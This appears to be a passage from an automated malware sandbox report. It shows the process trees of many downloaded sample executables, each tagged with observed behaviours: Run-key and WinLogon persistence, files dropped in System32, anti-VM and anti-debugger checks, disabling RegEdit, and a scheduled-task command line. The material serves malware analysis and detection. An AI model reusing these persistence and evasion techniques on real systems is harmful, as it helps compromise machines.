C:\Program Files\Common Files\microsoft shared\ClickToRun\backup.exe"C:\Program Files\Common Files\microsoft shared\ClickToRun\backup.exe" C:\Program Files\Common Files\microsoft shared\ClickToRun\9⤵
- Modifies visibility of file extensions in Explorer
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Program Files\Common Files\microsoft shared\ink\backup.exe"C:\Program Files\Common Files\microsoft shared\ink\backup.exe" C:\Program Files\Common Files\microsoft shared\ink\9⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- System policy modification
-
C:\Program Files\Common Files\microsoft shared\ink\ar-SA\backup.exe"C:\Program Files\Common Files\microsoft shared\ink\ar-SA\backup.exe" C:\Program Files\Common Files\microsoft shared\ink\ar-SA\10⤵
-
-
C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\backup.exe"C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\backup.exe" C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\10⤵
- Modifies visibility of file extensions in Explorer
- System policy modification
-
-
-
-
C:\Program Files\Common Files\Services\backup.exe"C:\Program Files\Common Files\Services\backup.exe" C:\Program Files\Common Files\Services\8⤵
-
-
-
C:\Program Files\Crashpad\backup.exe"C:\Program Files\Crashpad\backup.exe" C:\Program Files\Crashpad\7⤵
-
-
-
C:\Program Files (x86)\backup.exe"C:\Program Files (x86)\backup.exe" C:\Program Files (x86)\6⤵
- Modifies visibility of file extensions in Explorer
- Drops file in Program Files directory
- System policy modification
-
C:\Program Files (x86)\Adobe\backup.exe"C:\Program Files (x86)\Adobe\backup.exe" C:\Program Files (x86)\Adobe\7⤵
-
-
C:\Program Files (x86)\Common Files\backup.exe"C:\Program Files (x86)\Common Files\backup.exe" C:\Program Files (x86)\Common Files\7⤵
- Modifies visibility of file extensions in Explorer
- System Location Discovery: System Language Discovery
- System policy modification
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hp2bbatena05ded19f3d7ee24da3fb2dd021a55783eb0ec2451c211c6b73271fb936ace477N.exeC:\Users\Admin\Downloads\240920-hp2bbatena05ded19f3d7ee24da3fb2dd021a55783eb0ec2451c211c6b73271fb936ace477N.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
-
-
C:\Users\Admin\Downloads\240920-hezdzatbkb5613ba234c9e3a1ce754563a97a990bed26ea9506f0a496eb544878245b6e163N.exeC:\Users\Admin\Downloads\240920-hezdzatbkb5613ba234c9e3a1ce754563a97a990bed26ea9506f0a496eb544878245b6e163N.exe4⤵
- Executes dropped EXE
-
\??\c:\9xfrfxl.exec:\9xfrfxl.exe5⤵
- Executes dropped EXE
-
\??\c:\jdvpd.exec:\jdvpd.exe6⤵
- Executes dropped EXE
-
\??\c:\nbtntn.exec:\nbtntn.exe7⤵
- Executes dropped EXE
-
\??\c:\jvdpd.exec:\jvdpd.exe8⤵
-
\??\c:\thhnbt.exec:\thhnbt.exe9⤵
-
\??\c:\3ppdp.exec:\3ppdp.exe10⤵
-
\??\c:\7vdvj.exec:\7vdvj.exe11⤵
-
\??\c:\rlrllll.exec:\rlrllll.exe12⤵
-
\??\c:\7rrxrrr.exec:\7rrxrrr.exe13⤵
-
\??\c:\1lffxxx.exec:\1lffxxx.exe14⤵
-
\??\c:\dpjvd.exec:\dpjvd.exe15⤵
-
\??\c:\9nbtbb.exec:\9nbtbb.exe16⤵
-
\??\c:\pjjdv.exec:\pjjdv.exe17⤵
- System Location Discovery: System Language Discovery
-
\??\c:\rffxrlf.exec:\rffxrlf.exe18⤵
-
\??\c:\btbttt.exec:\btbttt.exe19⤵
- System Location Discovery: System Language Discovery
-
\??\c:\nhnhhb.exec:\nhnhhb.exe20⤵
-
\??\c:\pjjdv.exec:\pjjdv.exe21⤵
-
\??\c:\ffrrlff.exec:\ffrrlff.exe22⤵
-
\??\c:\llxxfrx.exec:\llxxfrx.exe23⤵
-
\??\c:\lxrxxxl.exec:\lxrxxxl.exe24⤵
-
\??\c:\5jjvp.exec:\5jjvp.exe25⤵
-
\??\c:\flrrfxr.exec:\flrrfxr.exe26⤵
-
\??\c:\xflfrrf.exec:\xflfrrf.exe27⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hsk4hatfnc51a588dbac60654723ed80fc2a1218c8c5221541723720702a7ab5fe52943d8cN.exeC:\Users\Admin\Downloads\240920-hsk4hatfnc51a588dbac60654723ed80fc2a1218c8c5221541723720702a7ab5fe52943d8cN.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Aglnbhal.exeC:\Windows\system32\Aglnbhal.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
-
C:\Users\Admin\Downloads\240920-hl4bhatgnqc0d82a789a780d5f4d69cd42515e49d56d9c1e82eca31bca434875b77bf8a31eN.exeC:\Users\Admin\Downloads\240920-hl4bhatgnqc0d82a789a780d5f4d69cd42515e49d56d9c1e82eca31bca434875b77bf8a31eN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Bmkcqn32.exeC:\Windows\system32\Bmkcqn32.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Bifmqo32.exeC:\Windows\system32\Bifmqo32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Diicml32.exeC:\Windows\system32\Diicml32.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Fmgejhgn.exeC:\Windows\system32\Fmgejhgn.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Fhabbp32.exeC:\Windows\system32\Fhabbp32.exe9⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hdilnojp.exeC:\Windows\system32\Hdilnojp.exe10⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hglaej32.exeC:\Windows\system32\Hglaej32.exe11⤵
-
C:\Windows\SysWOW64\Ikcmbfcj.exeC:\Windows\system32\Ikcmbfcj.exe12⤵
-
C:\Windows\SysWOW64\Jjmcnbdm.exeC:\Windows\system32\Jjmcnbdm.exe13⤵
-
C:\Windows\SysWOW64\Kniieo32.exeC:\Windows\system32\Kniieo32.exe14⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Oondnini.exeC:\Windows\system32\Oondnini.exe15⤵
-
C:\Windows\SysWOW64\Oeoblb32.exeC:\Windows\system32\Oeoblb32.exe16⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Peieba32.exeC:\Windows\system32\Peieba32.exe17⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Pemomqcn.exeC:\Windows\system32\Pemomqcn.exe18⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Qohpkf32.exeC:\Windows\system32\Qohpkf32.exe19⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Ahjgjj32.exeC:\Windows\system32\Ahjgjj32.exe20⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Bbiado32.exeC:\Windows\system32\Bbiado32.exe21⤵
-
C:\Windows\SysWOW64\Cbeapmll.exeC:\Windows\system32\Cbeapmll.exe22⤵
-
C:\Windows\SysWOW64\Dcpmen32.exeC:\Windows\system32\Dcpmen32.exe23⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Fjmkoeqi.exeC:\Windows\system32\Fjmkoeqi.exe24⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Iciaqc32.exeC:\Windows\system32\Iciaqc32.exe25⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Jpfepf32.exeC:\Windows\system32\Jpfepf32.exe26⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Jcikgacl.exeC:\Windows\system32\Jcikgacl.exe27⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kdbjhbbd.exeC:\Windows\system32\Kdbjhbbd.exe28⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Ldgccb32.exeC:\Windows\system32\Ldgccb32.exe29⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Popbpqjh.exeC:\Windows\system32\Popbpqjh.exe30⤵
- Drops file in System32 directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-g4aw8sshqkb66f0490cf95a98d47fc3c7b16d1e57c7f43d97a4e381649ffa83162ede9c782N.exeC:\Users\Admin\Downloads\240920-g4aw8sshqkb66f0490cf95a98d47fc3c7b16d1e57c7f43d97a4e381649ffa83162ede9c782N.exe4⤵
- Executes dropped EXE
-
\??\c:\hbnbtn.exec:\hbnbtn.exe5⤵
- Executes dropped EXE
-
\??\c:\pvvjp.exec:\pvvjp.exe6⤵
- Executes dropped EXE
-
\??\c:\rfxrllf.exec:\rfxrllf.exe7⤵
- Executes dropped EXE
-
\??\c:\nbbbhn.exec:\nbbbhn.exe8⤵
-
\??\c:\lrrlxll.exec:\lrrlxll.exe9⤵
-
\??\c:\lfxrllf.exec:\lfxrllf.exe10⤵
-
\??\c:\rfxrfxr.exec:\rfxrfxr.exe11⤵
- System Location Discovery: System Language Discovery
-
\??\c:\3bhbtt.exec:\3bhbtt.exe12⤵
-
\??\c:\ttnntb.exec:\ttnntb.exe13⤵
-
\??\c:\httthh.exec:\httthh.exe14⤵
-
\??\c:\3bnttt.exec:\3bnttt.exe15⤵
-
\??\c:\3dpjd.exec:\3dpjd.exe16⤵
-
\??\c:\bnnhbt.exec:\bnnhbt.exe17⤵
- System Location Discovery: System Language Discovery
-
\??\c:\xxlfxlf.exec:\xxlfxlf.exe18⤵
-
\??\c:\lfxxfff.exec:\lfxxfff.exe19⤵
-
\??\c:\9thbnn.exec:\9thbnn.exe20⤵
- System Location Discovery: System Language Discovery
-
\??\c:\jdjdd.exec:\jdjdd.exe21⤵
-
\??\c:\ddjdp.exec:\ddjdp.exe22⤵
-
\??\c:\bbtthh.exec:\bbtthh.exe23⤵
-
\??\c:\bnbbtb.exec:\bnbbtb.exe24⤵
-
\??\c:\7dddv.exec:\7dddv.exe25⤵
- System Location Discovery: System Language Discovery
-
\??\c:\rlfrfll.exec:\rlfrfll.exe26⤵
-
\??\c:\nhnbtn.exec:\nhnbtn.exe27⤵
-
\??\c:\rfrxrlx.exec:\rfrxrlx.exe28⤵
-
\??\c:\1vvpd.exec:\1vvpd.exe29⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-htazxstfre8d5f3af522cc0fa006d776d24122384350520fe6f74167ab7ff91a20cc4c5e1fN.exeC:\Users\Admin\Downloads\240920-htazxstfre8d5f3af522cc0fa006d776d24122384350520fe6f74167ab7ff91a20cc4c5e1fN.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Bqdblmhl.exeC:\Windows\system32\Bqdblmhl.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Bciehh32.exeC:\Windows\system32\Bciehh32.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Cibmlmeb.exeC:\Windows\system32\Cibmlmeb.exe7⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Dmglcj32.exeC:\Windows\system32\Dmglcj32.exe8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Ehhpla32.exeC:\Windows\system32\Ehhpla32.exe9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Fknbil32.exeC:\Windows\system32\Fknbil32.exe10⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Hpmpnp32.exeC:\Windows\system32\Hpmpnp32.exe11⤵
-
C:\Windows\SysWOW64\Hnfjbdmk.exeC:\Windows\system32\Hnfjbdmk.exe12⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hn34hsthkl69486f041ddf2bcffaf1501feacf05b3cb79ae93fe7d69ae0a82c5f015c1cafeN.exeC:\Users\Admin\Downloads\240920-hn34hsthkl69486f041ddf2bcffaf1501feacf05b3cb79ae93fe7d69ae0a82c5f015c1cafeN.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Bjaqpbkh.exeC:\Windows\system32\Bjaqpbkh.exe5⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Cibmlmeb.exeC:\Windows\system32\Cibmlmeb.exe6⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Djhpgofm.exeC:\Windows\system32\Djhpgofm.exe7⤵
- Executes dropped EXE
- Modifies registry class
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hf5blstbneed0925d0326af8d551f607d0d00bec87_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hf5blstbneed0925d0326af8d551f607d0d00bec87_JaffaCakes118.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\240920-hf5blstbneed0925d0326af8d551f607d0d00bec87_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-hf5blstbneed0925d0326af8d551f607d0d00bec87_JaffaCakes118.exe"5⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe6⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"6⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6772 -s 6486⤵
- Program crash
-
-
-
-
C:\Users\Admin\Downloads\240920-hmqrsstgqm0b77683faf77ffc17fcafec37d0d89bd25876318cb3dcd5479f82d294b1e984cN.exeC:\Users\Admin\Downloads\240920-hmqrsstgqm0b77683faf77ffc17fcafec37d0d89bd25876318cb3dcd5479f82d294b1e984cN.exe4⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\Efdjgo32.exeC:\Windows\system32\Efdjgo32.exe5⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hdpbon32.exeC:\Windows\system32\Hdpbon32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Iggaah32.exeC:\Windows\system32\Iggaah32.exe7⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Jkjcbe32.exeC:\Windows\system32\Jkjcbe32.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Kjmmepfj.exeC:\Windows\system32\Kjmmepfj.exe9⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Okchnk32.exeC:\Windows\system32\Okchnk32.exe10⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Oimkbaed.exeC:\Windows\system32\Oimkbaed.exe11⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Pchlpfjb.exeC:\Windows\system32\Pchlpfjb.exe12⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Phganm32.exeC:\Windows\system32\Phganm32.exe13⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Allpejfe.exeC:\Windows\system32\Allpejfe.exe14⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Ackbmcjl.exeC:\Windows\system32\Ackbmcjl.exe15⤵
-
C:\Windows\SysWOW64\Cjliajmo.exeC:\Windows\system32\Cjliajmo.exe16⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\Dblgpl32.exeC:\Windows\system32\Dblgpl32.exe17⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ejoomhmi.exeC:\Windows\system32\Ejoomhmi.exe18⤵
-
C:\Windows\SysWOW64\Fipkjb32.exeC:\Windows\system32\Fipkjb32.exe19⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Gdjibj32.exeC:\Windows\system32\Gdjibj32.exe20⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Gmiclo32.exeC:\Windows\system32\Gmiclo32.exe21⤵
-
C:\Windows\SysWOW64\Ijcjmmil.exeC:\Windows\system32\Ijcjmmil.exe22⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Jgnqgqan.exeC:\Windows\system32\Jgnqgqan.exe23⤵
-
C:\Windows\SysWOW64\Jlobkg32.exeC:\Windows\system32\Jlobkg32.exe24⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Knalji32.exeC:\Windows\system32\Knalji32.exe25⤵
-
C:\Windows\SysWOW64\Kcejco32.exeC:\Windows\system32\Kcejco32.exe26⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hke8aatgjkd00bb3c133961bf8dca8bc1e5647f5c49e54cee40fa82239a6fd14a9db79a0ebN.exeC:\Users\Admin\Downloads\240920-hke8aatgjkd00bb3c133961bf8dca8bc1e5647f5c49e54cee40fa82239a6fd14a9db79a0ebN.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Eigonjcj.exeC:\Windows\system32\Eigonjcj.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Fdcjlb32.exeC:\Windows\system32\Fdcjlb32.exe6⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hajpbckl.exeC:\Windows\system32\Hajpbckl.exe7⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Hhiajmod.exeC:\Windows\system32\Hhiajmod.exe8⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-hd7zqatdqpe9b0dad40a0a5a7b5024aa438be217aaccb09f000d4be088d48b85b0f9b7a7f9N.exeC:\Users\Admin\Downloads\240920-hd7zqatdqpe9b0dad40a0a5a7b5024aa438be217aaccb09f000d4be088d48b85b0f9b7a7f9N.exe4⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Executes dropped EXE
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Ejdocm32.exeC:\Windows\system32\Ejdocm32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Fmjaphek.exeC:\Windows\system32\Fmjaphek.exe6⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Downloads\240920-hn8c8sthkqad742eba15282bb71dbc081c135fb632b49cfac1368459983708f1405539bd13N.exeC:\Users\Admin\Downloads\240920-hn8c8sthkqad742eba15282bb71dbc081c135fb632b49cfac1368459983708f1405539bd13N.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system\explorer.exec:\windows\system\explorer.exe5⤵
- Modifies WinLogon for persistence
- Modifies visiblity of hidden/system files in Explorer
- Boot or Logon Autostart Execution: Active Setup
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system\spoolsv.exec:\windows\system\spoolsv.exe SE6⤵
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe7⤵
- Modifies WinLogon for persistence
- Modifies visiblity of hidden/system files in Explorer
- Boot or Logon Autostart Execution: Active Setup
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system\spoolsv.exec:\windows\system\spoolsv.exe PR8⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-g7ysgatblled03b54b728bff60c01c10bc4dd638a7_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-g7ysgatblled03b54b728bff60c01c10bc4dd638a7_JaffaCakes118.exe4⤵
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe5⤵
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"5⤵
-
-
C:\Users\Admin\Downloads\240920-g7ysgatblled03b54b728bff60c01c10bc4dd638a7_JaffaCakes118.exe"C:\Users\Admin\Downloads\240920-g7ysgatblled03b54b728bff60c01c10bc4dd638a7_JaffaCakes118.exe"5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hh51xstfnmed0ac3ec754cb2fa9cb4513394316573_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hh51xstfnmed0ac3ec754cb2fa9cb4513394316573_JaffaCakes118.exe4⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\WORD.exe5⤵
-
-
-
C:\Users\Admin\Downloads\240920-hkeazstcpged0b9f708aae170f39408fb71ad4eedf_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hkeazstcpged0b9f708aae170f39408fb71ad4eedf_JaffaCakes118.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2152 -s 3165⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\240920-gxy1gssclgecfe2304b6c1de57791ac6f82c832cd3_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-gxy1gssclgecfe2304b6c1de57791ac6f82c832cd3_JaffaCakes118.exe4⤵
-
C:\Program Files\Common Files\Microsoft Shared\MSINFO\rejoic.exe"C:\Program Files\Common Files\Microsoft Shared\MSINFO\rejoic.exe"5⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\calc.exe"C:\Windows\system32\calc.exe"6⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 6766⤵
- Program crash
-
-
-
-
C:\Users\Admin\Downloads\240920-g547gatapq12af9fdb89868aad7b06da794d3c1c3e6dc730dfbad5848057c952e449093137.exeC:\Users\Admin\Downloads\240920-g547gatapq12af9fdb89868aad7b06da794d3c1c3e6dc730dfbad5848057c952e449093137.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122885⤵
-
-
-
C:\Users\Admin\Downloads\240920-hjhl1stcmee838cebb02d3f88dfec17ad5491d238612bb43fd7514c8d51f6146c9c1ffebcdN.exeC:\Users\Admin\Downloads\240920-hjhl1stcmee838cebb02d3f88dfec17ad5491d238612bb43fd7514c8d51f6146c9c1ffebcdN.exe4⤵
- Adds Run key to start application
-
C:\Windows\services.exe"C:\Windows\services.exe"5⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\Downloads\240920-g6pheasfnh84495b0d536553968f548a4b98a20e8936480c602554cbf4d3c6120415c2cf62N.exeC:\Users\Admin\Downloads\240920-g6pheasfnh84495b0d536553968f548a4b98a20e8936480c602554cbf4d3c6120415c2cf62N.exe4⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Ikejgf32.exeC:\Windows\system32\Ikejgf32.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Kqbkfkal.exeC:\Windows\system32\Kqbkfkal.exe6⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Kecabifp.exeC:\Windows\system32\Kecabifp.exe7⤵
-
C:\Windows\SysWOW64\Nefped32.exeC:\Windows\system32\Nefped32.exe8⤵
-
C:\Windows\SysWOW64\Oldamm32.exeC:\Windows\system32\Oldamm32.exe9⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Pidabppl.exeC:\Windows\system32\Pidabppl.exe10⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Qebhhp32.exeC:\Windows\system32\Qebhhp32.exe11⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Akcjkfij.exeC:\Windows\system32\Akcjkfij.exe12⤵
-
C:\Windows\SysWOW64\Bkafmd32.exeC:\Windows\system32\Bkafmd32.exe13⤵
- Drops file in System32 directory
- Modifies registry class
-
C:\Windows\SysWOW64\Difpmfna.exeC:\Windows\system32\Difpmfna.exe14⤵
-
C:\Windows\SysWOW64\Djjebh32.exeC:\Windows\system32\Djjebh32.exe15⤵
-
C:\Windows\SysWOW64\Fmkgkapm.exeC:\Windows\system32\Fmkgkapm.exe16⤵
-
C:\Windows\SysWOW64\Hdhedh32.exeC:\Windows\system32\Hdhedh32.exe17⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Iloidijb.exeC:\Windows\system32\Iloidijb.exe18⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Jlfpdh32.exeC:\Windows\system32\Jlfpdh32.exe19⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Kggcnoic.exeC:\Windows\system32\Kggcnoic.exe20⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Drops file in System32 directory
-
C:\Windows\SysWOW64\Nlcalieg.exeC:\Windows\system32\Nlcalieg.exe21⤵
-
C:\Windows\SysWOW64\Ohfami32.exeC:\Windows\system32\Ohfami32.exe22⤵
- Modifies registry class
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\240920-g8ytvstbqj1e6145c0e7190ce44a10c9f641dfed07983e1e2618bab8c01db74d7867cc98b6.exeC:\Users\Admin\Downloads\240920-g8ytvstbqj1e6145c0e7190ce44a10c9f641dfed07983e1e2618bab8c01db74d7867cc98b6.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Downloads\240920-hd4bjatdqled07991eede56ecaf274d7c7f73f28e8_JaffaCakes118.exeC:\Users\Admin\Downloads\240920-hd4bjatdqled07991eede56ecaf274d7c7f73f28e8_JaffaCakes118.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 2286⤵
- Program crash
-
-
-
-
C:\Users\Admin\Downloads\240920-hjaamstclddc362a0b8e1c178264814627177156a6cd31ef9e3e84e3a3f86e7437fa64aea8N.exeC:\Users\Admin\Downloads\240920-hjaamstclddc362a0b8e1c178264814627177156a6cd31ef9e3e84e3a3f86e7437fa64aea8N.exe4⤵
- Modifies visibility of file extensions in Explorer
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- System policy modification
-
-
C:\Users\Admin\Downloads\240920-hqvj6aterc36cf0849af32567540d31502433bc2633a27a70fadaf76acbdb4106e2a2f7d2fN.exeC:\Users\Admin\Downloads\240920-hqvj6aterc36cf0849af32567540d31502433bc2633a27a70fadaf76acbdb4106e2a2f7d2fN.exe4⤵
-
C:\Windows\SysWOW64\Liqihglg.exeC:\Windows\system32\Liqihglg.exe5⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Oeaoab32.exeC:\Windows\system32\Oeaoab32.exe6⤵
- Adds autorun key to be loaded by Explorer.exe on startup
- Modifies registry class
-
C:\Windows\SysWOW64\Plejdkmm.exeC:\Windows\system32\Plejdkmm.exe7⤵
-
C:\Windows\SysWOW64\Bjnmpl32.exeC:\Windows\system32\Bjnmpl32.exe8⤵
- Adds autorun key to be loaded by Explorer.exe on startup
-
C:\Windows\SysWOW64\Cbeapmll.exeC:\Windows\system32\Cbeapmll.exe9⤵
- Modifies registry class
-
C:\Windows\SysWOW64\Dpnkdq32.exeC:\Windows\system32\Dpnkdq32.exe10⤵
- Modifies registry class
-
